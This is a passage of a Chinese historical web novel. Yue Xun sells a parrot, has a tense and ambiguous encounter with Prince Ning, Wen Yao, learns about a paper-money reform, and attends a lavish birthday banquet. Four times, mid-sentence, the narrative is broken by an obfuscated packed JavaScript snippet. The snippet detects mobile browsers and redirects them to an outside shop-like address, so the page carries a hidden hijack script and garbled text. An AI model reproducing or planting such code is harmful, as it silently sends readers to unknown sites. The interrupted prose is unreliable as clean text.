看庆国公府的态度,为着庆国公夫人庇护他南下的恩情,他不能不管不顾,给姜令添麻烦拉他下水。 更不能拉庆国公府下水。 看着嘟嘟囔囔的姜令和叽叽呱呱的鹦哥,岳旬头大如斗,只好顾左右而言他:“你打算什么时候再找明烟儿聊聊?” 姜令理直气壮的表情一下子烟消云散,心虚起来,把视线挪开:“不知道呢,还没想好。” “你不会真觉得你这门亲事板上钉钉了吧?觉着反正早就定亲了,退婚也没那么容易?”岳旬虽是想找借口让他离开,可如今这几句却也是真心的,“就算是板上钉钉,那你也得拿出个态度来,不能让明烟儿自己在心里受气。你先前在我这里不是说的挺好的?既然下了决心,就要让她知晓,好好把话说开,一直在这里躲着也不是个事儿啊。” “哦。”姜令立即蔫吧,也不两眼炯炯看着岳旬要赖在他家了,“我考虑两日,想想怎么说。 “那你好生想着,我要出门了。”岳旬冲着姜令一扬手。 姜令不理解岳旬每日在外面东颠西跑个什么劲儿:“又出门?你怎么天天出门?又要干什么?” 岳旬抬手把鹦哥笼子从房檐上摘了下来,继续含混着糊弄:“吵得耳朵都要聋了,我出门把它卖了!” 一听是要卖鹦哥,姜令不再阻拦,当即让开一条大路让岳旬出去了。 会说话的鹦哥,这要放在当初京师尚未沦陷之际,那是街上飞鹰走狗的纨绔最爱的玩意儿。爱骂人的不算,嘴里不干净,算教废了。但免不了有那些好胜心强,硬是想要把这坏毛病拗过来的人。 可现如今…… 大家手里都没什么余粮,岳旬如今的身份,除了姜令又接触不到什么真正衣食无忧的纨绔。 于是只好蹲在街边孤苦伶仃地卖鹦哥,叫卖的声音还没有鹦哥叫骂的声音大。 路人见了,纷纷侧目,全都掩口嬉笑。 但确实没有一个人愿意买下这小东西。 岳旬支着脑袋,昏昏欲睡,心道不如回家看两眼书去。 他刚支着脑袋打了两下瞌睡,就听见一个无比熟悉声音含笑道:“你这个鹦哥怎么卖。” 天爷,这声音的主人化成灰他都记得。 岳旬当即睁开眼睛,一把将笼子搂在自己怀里:“这个不卖。” “好没意思。”来人负手站着,俯下身歪着脑袋去看他,“两日没见,我当岳小公子是想出了什么为国为民的好计策,怎么改行又在这里卖鹦哥了?” 岳旬怀抱着鹦哥笼子,仰脸看人,有点疑惑。 宁王他老人家通常拿自己当个人事不懂的小玩意儿,对于他那种上蹿下跳在他面前拱火的行为向来不屑一顾,别说生气,恐怕是看都懒得多看一眼。就算看,那也是一种看小猫小狗的好笑神情。 他以为上回温杳在气急之下能驳斥自己两句已经算是破格,扭头就走之后就再不会就这件事与自己多说半个字。 谁承想今日纡尊降贵亲自跑到这穷街陋巷里来,就为了专门嘲讽自己这一句。 这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163801|196606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……记仇吗? 堂堂宁王殿下,总不会因着他几句“扪心自问羞不羞愧”的话晚上气得咬被角吧? 脑海中一旦形成了这种画面,再配着瓷人伸在自己面前这么一张高贵的面孔,岳旬简直要笑出声来了。 温杳哪知他为何发笑,只知自己嘲讽他一句之后他忽然盯着自己的脸露出一种难以言喻的诡异笑容。 不知道在偷着乐些什么。 宁王殿下自打受封亲王以来就没让人这么盯着他的脸看过,更没想到几日不见,岳旬这小癫子的疯病比咆哮公堂那日更加严重,面上一时间没绷住,显露出些端倪来。 那种神情转瞬即逝,可还是被岳旬捕捉在眼里。他见鲜少见温杳露出这种不大自然的神情,于是干脆自暴自弃,就着脸上的诡异表情呵呵呵地笑了几声:“鹦哥不卖,旁的生意倒是可以谈一谈。” 果然,岳旬眼见着温杳额头上的青筋跳了几下。 温杳捏住拳头,缓缓把憋住的那口气呼了出来。一双丹凤眼眯起、拉长,一点一点把脸上那张人皮大面具展开,展出一副恰到好处,几乎可以称得上是和颜悦色的笑容:“好啊,愿闻其详。” 岳旬紧盯着他的脸,恍惚间详细幼时读的志怪话本。只说一个恶鬼假作美人,是在身上套了层人皮,夜间要脱下来再将那美人的皮囊描摹一番,所以称为“画皮”。 那故事里的美人皮在温杳眯眼笑开的一瞬间,在岳旬脑海里印上了和他一模一样的脸。 那种诡异而无法控制的心跳声一下子又攥住了岳旬的喉咙,躁动在岳旬的耳内,声音大得让岳旬都害怕温杳会听见。他的喉咙口发紧,生怕那颗心从腔子里蹦出来,于是说出的几个字都像是从嗓子眼里挤出来的:“皇叔,我们借一步说话。” 披着美人皮的恶鬼也随着他勾唇笑。他今日又着一件赤红贴里,头上戴着顶的大帽,顶珠血珠子一样红,笑的时候就下意识抬手把自己的帽檐往下按了按。大帽是黑的,又缀着红顶珠,显得他那双手和帽下的面庞更是瓷一样白。 并非艳丽,却有种欺霜赛雪似的惊心动魄。 岳旬喉头一滚,将自己长着冻疮的手缩进了袖子。他莫名觉得那泛红的手指尖应当很冷,就像白瓷一般的温度,故而要用手炉暖着。 捉刀的恶鬼,怎么生得出这样一双手,这样一张脸? 这不是合该出现在他噩梦里的一张脸吗? 恶鬼引着他往陋巷里去。岳旬只觉得自己是被勾魂索命的生魂,浑浑噩噩、混混沌沌,不受控地被他牵引着向前。 岳旬觉得自己必须做出什么举措,好从这样一种似梦似幻的境况下逃脱出去,好不被这可怕的瓷人、披着美人皮的恶鬼这样控制。 他想说话解救自己,嗓子却是哑的,张开几次都没有说出一句话来。他甚至忘记了自己叫他是要干什么,只觉得是温杳勾着他到这陋巷里来。 终于,披着美人皮的恶鬼开了口:“你叫我来,究竟是有什么事要说?” 温杳的话夹杂着尚未开春的冷风猛然灌进巷子口,吹得岳旬脑中“嗡”地一声,噩梦中的那张脸和面前的脸两相映照,猛然间合二为一。 岳旬陡然清明。 帕子! 赶紧把那倒霉的帕子还给那可怕的瓷人! 18. 第十八章:疑似龙阳 岳旬忽然清醒过来,头皮好像被密密麻麻的针扎过,只觉得后怕。他没想到温杳竟然有此等功力,竟然真能像志怪话本里披着画皮的恶鬼一般摄人心魄。 太可怕了,果然还是不要总和他扯上关系为妙。 岳旬赶紧将那烫手山芋从袖中摸出:“前几日受了皇叔的赏赐,不敢久留。帕子已经清洗干净,今日送还给皇叔。” “这就是你说的‘旁的生意’?这是个什么大事,非要‘借一步说话’,又不是同大姑娘私相授受,何至于此。”温杳听了,摇头发笑,表情中没有玩味,倒像是真心实意被逗乐了,“不是什么要紧东西,不必还了,拿着吧。” 岳旬摸了摸自己的后颈,总觉得梦里温杳的刀还架在上面。他被温杳捏了几次后颈,一想起脖子,就觉得后脖颈那一块有茧子摩挲过去,不由地一皱眉:“我不想欠你什么。” “你已经欠了。”温杳不知想到什么高兴事,嘴角的笑意压都压不住。甚至还回过头来,意味不明看了岳旬一眼。 他欠他什么? 光听这内容,岳旬一下子火冒三丈。可当温杳这句话钻进岳旬的耳朵里时,他却诡异地从温杳那轻飘飘的语气里听出了几分……缱绻。 这句话一下子就变了味道。仿佛他被囚于宁王府那几日并非是为人棋子,时刻要警惕着头颅搬家,而是与温杳发生了什么难以言明的辛密,故而欠了他什么情。 这人说话怎么这样? 饶是岳旬向来伶牙俐齿,也被他这一句话说得一时间反应不过来。可他把这话在心里滚了几个来回,也没咂摸明白可怕的瓷人忽然这般说话究竟是何意,等再想回话时已经错过了时机。 他二人本是并排在小巷里行走,倘若只是说上几句话倒确实像是在商量事情。可若是在温杳那么一句意义不明的话之后,两个人全都沉默呢? 那气氛就实在有些古怪了。 岳旬也偏过头去看温杳的脸,拿出读经史集注的精神把他脸上的神情细细读来。 看温杳表情,他大约丝毫不觉得自己方才那话有什么不妥,也没觉出他们两个在这里一言不发又有什么古怪,甚至可以说是非常松弛——连平日那种披着人皮的假人感都少了几分。 总归看起来心情特别好。 岳旬不想欠这种披着美人皮的恶鬼什么,他怕把温杳招过来在他梦里索命。正当他要开口询问时,手边忽然响起了一阵嘶哑的:“噶!” 两个人同时看向了笼中的鹦哥。这位名叫彩衣郎的鹦鹉大爷只怕是有些看人下菜碟的毛病,自从见了温杳,别说骂人,吓得连屁都不敢放一个。它没想到会和温杳相处这么久,惊吓过度,实在没憋住,这才漏了声儿。 现在再看它,拿两翅掩着脸,一看就是在装死。 温杳轻车熟路伸出手,很自然打开笼门,逗弄了一下笼中的彩衣郎,一边用一双带笑的眼睛瞥视着岳旬:“我听闻你最近寻了个谋生的活计——伺候笔墨做清客对你倒也适宜。你那东家虽说看起来聒噪,好像是个只知道花钱挥霍的纨绔,但能把生意做到我跟前,你就应当明白这不是个可以小觑的人。” “薛琮十五六岁就死了父亲,自此带着寡母独自顶立门户,不过四五年的功夫,就已经算是松江府数一数二的棉布商了。” 温杳那日远远一瞥,恰好看见薛琮拦截岳旬,手里拿着张纸听不清在说什么。后来打探到那薛琮自从进了金陵置办了宅子就开始广招清客,而岳旬也常常出入薛琮在金陵的宅邸,就能大概知晓岳旬是在靠什么谋生。 “薛琮常同西洋人打交道,很是有些见识,做起海贸来比苏杭那几位老成丝绸商还要如鱼得水几分。你跟着他做事,也不妨为一种锻炼。” 一提起这个岳旬脑子里“嗡”地响了一声,幸亏薛琮知晓他们这群读书的人要脸面,断然不愿意让旁人知道自己做的是写话本子的活计,于是对外统一都说这些清客是招揽来“润色笔墨、出谋划策、侍弄账目”的。 这要是让温杳知道了,丢面子都是小事——他在《响翠传》里可是大肆编排摄政王欺男霸女鱼肉百姓,与他有“杀父夺妻”之仇——那他还不得掉脑袋! 不是他舍不得脑袋,只是因着这种由头被宁王殿下杀掉,他就算下了阴曹地府也没脸见列祖列宗啊! 来不及细想温杳为什么忽然指点起自己的生计,岳旬只想尽快把这话题混过去:“果然,皇叔一直都在监视我。” “好没意思。”温杳用手指拨拉战战兢兢的彩衣郎的鸟嘴,孩子吓得险些要把鸟嘴戳进胸脯子,“这种你我二人都知晓的事情,何必这样明说。” 岳旬再度沉默。 这话声生生让他听出一股,温杳在指责他负心薄幸的味道。 那种隐秘而古怪的感觉再次泛了上来,让岳旬心绪纷乱,逼着他不得不审视起自己同温杳的相处。 虽说二人都是男子,不必讲什么男女大防,可温杳这人实在有些……太不避讳了点。 他总是用一种亲昵过头的古怪语气同自己说话,好像特别偏爱那种类似于耳鬓厮磨时耳语的语气,温柔缱绻、轻飘飘地叫自己的乳名。水淋淋地缠上来,好像湖底的水草。 而这样的情形却又不止于言语。 温杳用刀背拍他的脸,凉得像一块温不化的冰;温杳摩挲自己后脖颈,手指上的薄茧擦过后颈的皮肤,带来一阵难以言明的痒;温杳发现他在马车里拔刀时前胸贴后背地揽着他,抬手将他耳畔的发丝别到耳后;在后湖那日扬起马鞭来,却又只是拍了拍自己的面颊……林林总总,在一瞬间全都浮上了岳旬的心头,卡住了他的脑袋,让他觉得头皮有些发麻。 不知怎的,岳旬恍然间想起除夕夜宫内百官宴上,康王骂温杳。好似是说他身边也没个姬妾,留着他做亲卫不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163802|196606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是伺候什么。 温杳当时什么反应来着…… 勃然大怒。 一向冷静的温杳拍着桌子叱骂康王失心疯。 完了。 岳旬眼中的光亮瞬间黯淡了下去,神色和蔫头耷脑的彩衣郎也差不了多少——他当时正紧张,根本不曾细想,如今想来这别是被康王骂中了,恼羞成怒吧!难不成这人真有什么龙阳之好! 岳旬猛然一个激灵,手里一拽,把鸟笼子从温杳手里拽了回来。速度太快,温杳的手在笼子口上卡了一下,划出一道明显的红痕。 温杳神色不虞,抽出手来,用手指碾了几下那条红痕。 太明显了。让岳旬想起小时候在外祖府上,周家舅母请他吃一碗牛乳,上面凝着厚厚的奶皮。舅母用小银匙沾了玫瑰露,在牛乳上面划过一道,而后笑嘻嘻捧着脸看他:“吃吧,舅母专门给你留的。” 那牛乳是什么味道? 温杳又拿手指碾了一下那条红痕,也没抬眼,反倒是一直盯着他手看的岳旬猛然回过神,“嘶”了一声。 宁王殿下是刀山火海里滚出来的,这一下都没擦破点皮,哪算得了什么伤?他这是在干什么,故意碾给自己看的吗?! 岳旬瞳孔都放大了。 那可怕的瓷人低着头看手,眼睛翻上来仄了岳旬一眼:“我刮着了你‘嘶’什么?” 岳旬扁着嘴憋着不敢动,这又是干什么,要他说什么?难道要他说“心疼”不成? 太恐怖了!岳旬倒吸一口凉气,脸上五官都扭曲了,把彩衣郎死死抱在怀里,憋着气等候发落。 这还不如死了呢。 这神色变化太明显,自然又被温杳看在眼里。宁王殿下哪里晓得他心里在想什么,根本不明白这死孩子为什么忽然惊恐万状起来。他金尊玉贵的,哪犯得上去揣摩岳旬的心思。 他本来应该是打算和岳旬多说几句什么,如今莫名其妙被岳旬拿鸟笼子卡着手,还拿这种表情看着他,瞬间眼里的笑意褪得干干净净,嘴都快绷成一条直线了。 他拧着眉上下把岳旬打量了一番,表情竟然有点恨铁不成钢。宁王殿下向来口舌伶俐咄咄逼人,如今看着岳旬欲言又止了半晌,统共就蹦出来八个字:“疯疯癫癫,莫名其妙!” 扔下这句话,温杳转头就走——他今日连个底下人都没带,看起来好像就是专门为了来找岳旬的,如今气得够呛,就更没必要在这穷街陋巷里和个小癫子掰扯来去了。 独留岳旬一个人站在陋巷之中,和彩衣郎一人一鸟抱在一起,大有一种劫后余生之感,就差要抱头痛哭。 “彩衣郎。”岳旬语气苦涩,看着笼中鹦鹉的两颗绿豆眼,长吁短叹,“看来我一开始就想左了,他不是想要我的脑袋,也不是打算把我当老鼠遛着玩——他这是想折辱我啊!” 这可比拿刀架在他脖子上要他的命可怕多了。 19. 第十九章:隆靖宝钞 彩衣郎依旧悬挂在岳旬的屋檐底下,但与刚来时那副神气样子大不相同。孩子现在瑟缩着两肩,用两个翅膀遮着脸,竟然莫名看起来有些臊眉耷眼。 姜令围着笼子转了三圈,逗了半天也不见他叫出一声来,指着笼子问岳旬:“它这是怎么了?出了一趟门成这样了?” 再看岳旬,虽说衣着整齐、浑身干净,与出门之前没有多大分别,可就是看起来有种说不出的灰头土脸。他和彩衣郎对视一眼,竟从这脑瓜子还没指甲盖大的小东西眼里看出一种同病相怜的感觉。 这种事情又怎么好跟姜令说! 岳旬要死不活:“就……出去卖它,吓着了。” 姜令一撇嘴,非常疑惑:“看见什么了能吓成这样?!” “大约是看见什么不干净的东西了吧。”披着美人皮的恶鬼怎么又不算鬼呢,岳旬如今一想起他来就觉得后脖颈发凉,只想尽快将这话题糊弄过去,“我方才听周七伯说你找明烟儿去了,怎么样?” “嗯……”姜令抓抓头发,似乎在绞尽脑汁思考措辞,最后吞吞吐吐来了句,“就还行吧!” “什么叫还行。”岳旬深觉姜令这家伙这般说话,简直就是对自己这几天糊弄他的报应,“究竟怎么样了?” “就是她没同意搬回庆国公府住。” 岳旬心说那不是废话,走了哪还有回去的道理,况且府邸还是御赐的。 “但是我邀请她参加我大哥哥的生辰宴,她倒是同意了。” 姜含的生辰?岳旬略一皱眉。 姜含此人,岳旬不大熟悉。他小时候同姜令熟识的那几年,姜含已经上辽东历练去了,所以对姜令这位大十岁的哥哥只有些模糊的印象,南渡之后更是一面没见过。 又是辽东……那他应当同自己的父亲也有些交集。 姜含隶属辽东军麾下,当初辽东几场战役都没错过,甚至还是为数不多的生还者之一。既然如此,如果从姜含这里下手,是否能够探听出些什么? 他如今白身一个,父亲的案子根本无从探查,他根本接触不到那些被朝廷、被温杳拢在手底下的信息,只能用功读书,费力朝上攀爬。可话又说回来,他真的还能等到自己取得功名站上朝堂那一日吗? 如果他父亲到时已然定罪,他锒铛入狱,那还谈什么功名?就算温杳为了一些什么旁的心思能留下他的项上人头,那他的处境只怕比今日还要差,想做什么就更难了。 可他转过头来再看姜令,这小子只知晓为婚事发愁,旁的事甚至轮不到他去操心。是以岳旬踌躇了好半天,也没好意思将自己的意思真正说出口来,只憋出来一句:“你大哥的生辰是什么时候?” “啊,是三月。”姜令一把按住岳旬的肩膀,两眼灼灼,“你这可得陪兄弟一起去啊!烟烟那脾气上来,我一个人可应付不了,有你在还要好些。” 看姜令这小子一脸纯良,岳旬心里就更愧疚,总觉得这是拉他、拉姜家下水:“到时我们几个小的又玩又闹,姜伯父姜伯母见了怕是要不高兴吧?” “怕什么?”姜令说到这个倒是理直气壮振振有词起来,“我大哥哥同母亲商量好了,到时他花他自己的钱上外头包个园子,听戏游园吃东西,随便我们怎么玩闹——也免得搅父亲清净,再训斥我们。” 姜含手头这么阔绰?都能在金陵包园子了? 岳旬心里啧啧。不愧是勋贵子弟,不过才在辽东混了几年,竟然攒下如此家底,朝廷看着他家里的面子,明里暗里不知给了多少赏赐。 见姜令主动邀请他,岳旬心里更加愧疚,迎着姜令期待的目光只好点头应下。 对不住姜二爷,我保证只是向你大哥打探些情况,旁的一概不求姜家帮忙。 我保证。 岳旬在心里默默道。 姜令大约在岳旬这里住了有七八天,日日往陆明烟家中跑,终于让陆明烟给劝回了家。 岳旬还是每日上薛家点卯,吃饭读书,写他的话本子。期间抽空又跑了一趟后湖户房衙门,那几个户部清吏司主事见了他好像见了阎王。岳小公子还以为是那天当众发癫咆哮公堂给这群人吓得够呛。 细细问来才得知……他的户口已经办下来了,是宁王他老人家亲自压着办的。 宁王他老人家认为此事“闹得舆论很不好看,人言沸腾”,亲自将山东清吏司主事狠狠申斥了一番。 只是申斥,并未罚俸。 但可怜的山东清吏司主事还是吓得两股战战——谁乐意被宁王亲自申斥啊!这还不如把他一年的俸禄全罚完! 山东清吏司主事冷汗涔涔,岳旬也跟着冷汗涔涔——他算是明白温杳那日那句“你已经欠了”是何意了。 于是更加躲在薛家日夜用功——其实主要是不敢出门。 薛大东家忙得很,十日有八日在外面东奔西跑,一日用来和岳旬聊《响翠传》,一边写话本一边改戏本,还请岳旬当初找的那个戏班子时不时排演一场。 还余下一日,在家里大肆夸赞温杳牵头、内阁拟定、户部发行的“隆靖宝钞”。 薛大东家乃是宝钞的忠实拥趸,恨不得给清客发得那一吊月钱也要用宝钞替了。可府中清客大都不愿意——那宝钞轻飘飘的,谁知能不能兑出银子来,究竟能换多少米粮,如不一吊沉甸甸的铜钱或是一两白花花的银子拿在手里实在。 薛琮只好作罢,只是每日劝岳旬,给他发的那千字五两的稿费希望用宝钞结了。 薛大东家是这样说的。 如今同西洋人做海贸生意,认的是一种“佛郎机银元”,这种银元的成色重量是统一的,所以交割起来十分方便快捷。大胤卖东西倒罢了,收回佛郎机银元大不了再熔铸成大胤官银,可若是买入呢? 还用佛郎机银元吗?若是有一日佛郎机不允许这种银元外流呢? 那商民就只好以货易货,先前有苏杭绢商,因银荒急售货物,三匹上绢竟折价至二两,亏得“倒贴棺材”。 如今市舶司只以宝钞贸易,不然要多收一成的税。这宝钞也是成色一定轻便好交割的,只要户部做好防伪骑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163803|196606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缝印章,市舶司随时验明;同时保证国库里有银子,让一贯宝钞确确实实能兑出一两银子来—— 那便不用受佛郎机的辖制,还免了银元流通回大胤铸成官银的火耗。 总之,薛大东家觉得隆靖宝钞千好万好,发些小面值的,让全天下都用上更好。 唯一一点不好就是薛琮认为一贯宝钞应当兑九钱银子,免得官银不够兑不出来。待他下回见了宁王一定要同他好好说道说道,这样好的东西就应当尽量少留祸患。 岳旬不明白,但岳旬大受震撼。 他自幼是读圣贤书,不曾学过这样的知识;薛琮一说起话来,狂风骤雨一般快,一激动连官话也不讲,叽叽呱呱地讲吴语,手舞足蹈地同岳旬比划。 薛琮说得天花乱坠,岳旬被他劝了又劝,还是有些云里雾里。 最后不得不拿出纸笔来听他细讲。 总归,薛大东家最后总算说服了他,发稿费时一高兴还多给了几张宝钞,神清气爽。而岳旬记了厚厚一叠纸,装订成册,时常翻看——院试倒还罢了,左不过考些经史子集,圣人之言;可听闻自从光义开关以来,乡试会试出题向来刁钻,总考些新奇之物。 如今庙堂江湖常说的也不过几件——辽东兵败、康王造反、市舶海贸,多学一些总没有错处。 如此日复一日,过得倒也充实,日子流水一样滚滚而去。很快满金陵的树都开始抽芽,争先恐后地着急开花。在一个后湖的早樱晚梅云霞般开成一片的午后,岳旬收到了姜令发来的他大哥生辰宴的请帖。 时间是三月十八。清晨赴宴,一直玩到夜里,金陵城中有夜禁,是以可以直接在园子中住下,第二日早晨再回。 姜含手头应当十分宽裕,这岳旬是知晓的,可当他听完姜令的解释还是忍不住皱了皱眉头——别说姜含还未请封世子,就算请封了,这也太铺张了些。 这又不是当初在京师的时候,如今国库空虚,日子过得正艰难,他这样超规制地铺张…… 真的没有什么问题吗? 这个疑惑一直持续岳旬赴宴还没有解开。 姜含的生辰宴在“鹿鸣春涧”。这园子原先据说是江南豪族的园林,世代簪缨,后来家主获罪,让朝廷抄了家。园子几经流转,后来被金陵一位富商买下,整饬一番,专门用来给金陵城里的贵人设宴玩乐。 岳旬是和姜令一起坐马车拉来的,去时已经有不少年轻的勋贵子弟在此处玩乐,年轻的公子贵女在园中荡秋千投壶,好不快活。再往里走,便是造好的假山水,不少年轻姑娘围着池子喂锦鲤,笑语晏晏。 他两个穿过花庭,又往前走了几步,便能见到已经设好席面。借的还是曲水流觞意象,风雅至极,仰头就能见着搭好的戏台子。 饶是岳旬做过那么十来年衣食无忧的小公子,也一时间被江南这种铺张的风气给震慑住了。从前还不觉得有什么,自从他南渡之后见过民生疾苦,就越发地见不得这样的场面。 连国库都要拆东墙补西墙了,这群人凭什么这样铺张享乐! 20. 第二十章:鹿鸣春涧 朱门酒肉臭,路有冻死骨。 唯有切身体会,才真正能明白这句话的含义。 不过姜二爷应当是暂时体会不到了,毕竟他来这里就只是为了多见陆明烟一面。两个人刚进园子,坐下没有多久姜令就远远瞧见了陆明烟,赶紧招手招呼人过来。 岳旬特地仔细观察了陆明烟一番,他们南渡之后许久未见,上一回见面还是在宫里。那时候岳旬站在温杳身后,而陆明烟提着一颗血淋淋的头颅。 在岳旬看来,身上有了救驾之功的陆明烟瞧着同从前没什么两样,她甚至不曾标新立异女服男装。小姑娘穿着件水过天青的立领大襟长衫,系白底花鸟纹样马面裙,简单簪饰了头发,髻下碎发用红绳系了,整齐地垂在脑后。 这样的春衫同园子中的踏青的少女们并无多大分别。只是越走越近之时,岳旬总觉得她好似……长高了? 满门忠烈的将门虎女,其实也只是个正抽条长个的小姑娘,面庞清瘦、眉目清冷,总归瞧着还不大像个将军的样子。寻常人恐怕很难想象就是这么个姑娘,会在大殿上提着一颗血淋淋的头颅,同温杳报上自己的名号。 不等他仔细分辨,陆明烟已经走至了身前。她一抿嘴,权当是笑了,而后冲着他二人拱手:“二位哥哥。” 岳旬姜令二人忙不迭起来点头回礼。 坐下之后,三个人竟然没有一个主动开口说话,一时间沉默起来。 陆明烟打小儿就话少,这岳旬是知道的。通常都是他和姜令两人叽叽呱呱十分聒噪,但是今日……岳旬觉得他小两口大约有话要说,自己开口不好。可姜令这个不争气的,坐在陆明烟旁边就是一个劲儿地拿食指和拇指搓他自己的耳垂。 气得岳旬牙都长了三分,非得好好磨磨不可——咱三个玩泥巴的年纪就认识,怎么今日反而害臊起来了! 既然如此,那还是他这个做兄长的来打圆场吧! 岳旬默默抿了一口茶,把话题从陆明烟的晋升想到了姜令的婚事,觉得都不好开口,只好哂笑:“明烟儿,我看你好像是长高了不少啊!” 陆明烟正襟危坐,闻言把眼睛转过去看岳旬,抬手推拒:“这个事先不忙——我同姜令有话要讲。” “哦。”岳旬干巴巴咂了咂嘴,赶忙做个“请”的手势,“您讲,您讲。” 姜令立马在一旁用小狗看人的表情看了陆明烟一眼,耳垂通红,也不知是不是让他自己搓的。 眼见着岳旬碰了一鼻子灰,陆明烟还非常正经转过来,郑重其事与他解释:“不是不同你讲话的意思,你的事情待我把这几句说完再讲。” 那岳旬能说什么?他只好点头如捣蒜,把自己的椅子往旁边挪了几分,免得耽误他们两口子密谈。 岳旬支着脑袋百无聊赖,陆明烟和姜令的耳语在嘈杂的园子中根本听不大清楚,只能看见姜令脸色变换,最后眼角眉梢都耷拉了下来,不知到底听见了什么。 眼见着快到开席的时间了,宴席的主家姜含也不知在何处应酬,总归不见人影。 岳小公子在边上磕了半晌的瓜子,甚至在心里盘算着要不要给独守空房的彩衣郎带一些回去时,姜含才匆匆忙忙甩着衣摆到场。岳旬与姜令这位兄长多年未见,但姜含毕竟不似岳旬他们少年人似的一天一个样子,是以岳旬还是一眼就认出了他。 不怪乎庆国公总是“小鞑子”长“小鞑子”短,如果说温杳除了一双琥珀色的瞳仁,同汉人几乎没有差别,那这位的鞑子相可就有些明显了。 权势如温杳,都尚有康王这种不长眼的当面指着他的眼珠叫骂的,姜含这个到如今都不曾请封世子的“庆国公长子”又算得了什么呢?曾经不少人在他背后嘀咕过这事,连岳旬都听过两耳朵。 但据说这姜含是个左右逢源的周到人,勋贵子弟们又向来同气连枝,是以看在庆国公府的面色上,还是有人乐意给他匀点薄面的——大都是姜令岳旬这个岁数的年轻孩子。 姜含落了座,却总有些心神不宁的样子,不是拿眼睛瞟滴漏,就是问仆从时辰。可分明时辰已经过了,就是不见开席。 岳旬觉得自己的肋下的部位开始隐隐发空,如果再这么耗下去,那造反的脏器必要发出“咕噜噜”的嚣鸣,让他颜面扫地了! 他磕着瓜子垫补,一边默默腹诽——今日姜含过的是虚岁二十六岁的生辰,年岁不算小了。今日一看,来的勋贵之女可不在少数,别是庆国公不打算留意自家儿子的婚事,让姜含终于忍不住了,自己要给自己相亲吧! 大胤自光义开关以来,民风渐渐开放,男女大防也不像从前那样严苛。若是姜含真存了这份心思,未必就不能成事。 这想法刚在脑子里过了一下,就瞧见一位贵人前呼后拥往席面的位置过来。还没看清人,他略带笑意的声音就已经穿云裂石一般朝着岳旬的耳膜射了一箭:“静川!” 这唤的是姜含的表字。 那团团仆从拥簇的贵人这才同第二句话一齐露出脸来:“政务繁忙,耽搁了一会子,实在是来得有些迟——一会儿陪你多喝几杯,向你赔罪!” 岳旬一脸麻木。 怪道姜含要等着不敢开席,他还不知竟然请了这样一位大人物过来!他不到场,谁敢开席! 不是说他忙得很吗?这几日民间议论纷纷,都说这宁王大刀阔斧地整合军队,不眨眼似的削藩杀人,还到处推所谓的“隆靖宝钞”,闹得朝堂上是怨声载道。听闻原先支持他的几位内阁阁老都颇有些微词,只有几位不入流的“巨贾”愿意买他的账。 就这还有功夫参加宴会呢? 只见姜含立即面色一喜,拔脚就从上座迎了下来:“远归!” 众人面色皆是一变,不少面上藏不住事的人那表情显然就是盘算起来了——世人皆知宁王温杳,表字远归,可谁敢就这么大剌剌地喊出来。 姜含快步迎到温杳面前,这才俯身要跪下行礼:“庆国公长子姜含,恭请宁王殿下的安!” 众人跟着姜含旋即拜倒,五体投地:“宁王殿下千岁!” 还没等姜含完全跪到地上,温杳一抬手就扶住他的两臂,将人扶了起来:“今日都是来玩的,这样拘礼做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163804|196606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么?都起来吧。” 众人又是一阵谢恩。 “王爷能来本就是莫大的恩荣,谈什么迟不迟的?”姜含一路将温杳迎到主位上上落座,亲自为他斟茶倒酒。若不是温杳摆手拒绝了好几次,最后佯装要恼,姜含恨不得侍立在旁亲自伺候布菜。 姜含让人劝着落了座,温杳也抿了口茶润嗓子,饶有兴致地继续了先前的话题:“表哥诞辰,怎能不早些来?还是该罚酒!” 这左一句“静川”右一句“表哥”,喊得在座的一群年轻勋贵子弟都微微睁大了眼睛。 宁王这回可算是给足了姜含面子。 众人皆知,他二人都是辽东军出来的,除却那点亲戚关系,应当还有些同袍情谊。可所有人都没想过的是,他二人之间竟然这般亲厚! 